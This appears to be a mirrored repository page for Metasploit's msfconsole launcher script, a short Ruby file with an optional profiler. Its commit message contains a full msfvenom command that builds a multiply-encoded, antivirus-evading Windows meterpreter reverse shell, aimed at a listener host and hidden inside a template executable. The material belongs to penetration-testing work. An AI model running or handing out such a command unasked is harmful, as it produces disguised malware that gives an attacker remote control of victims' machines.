1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00
metasploit-framework/msfconsole
agix 378208bc3d Move service stub in x86 encoder to be easily used.
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
2016-06-23 14:56:03 +02:00

49 lines
1.1 KiB
Ruby
Executable File

#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# This user interface provides users with a command console interface to the
# framework.
#
#
# Standard Library
#
require 'pathname'
if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true'
gem 'perftools.rb'
require 'perftools'
formatted_time = Time.now.strftime('%Y%m%d%H%M%S')
root = Pathname.new(__FILE__).parent
profile_pathname = root.join('tmp', 'profiles', 'msfconsole', formatted_time)
profile_pathname.parent.mkpath
PerfTools::CpuProfiler.start(profile_pathname.to_path)
at_exit {
PerfTools::CpuProfiler.stop
puts "Generating pdf"
pdf_path = "#{profile_pathname}.pdf"
if Bundler.clean_system("pprof.rb --pdf #{profile_pathname} > #{pdf_path}")
puts "PDF saved to #{pdf_path}"
Rex::Compat.open_file(pdf_path)
end
}
end
#
# Project
#
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
require 'metasploit/framework/command/console'
require 'msf/core/payload_generator'
Metasploit::Framework::Command::Console.start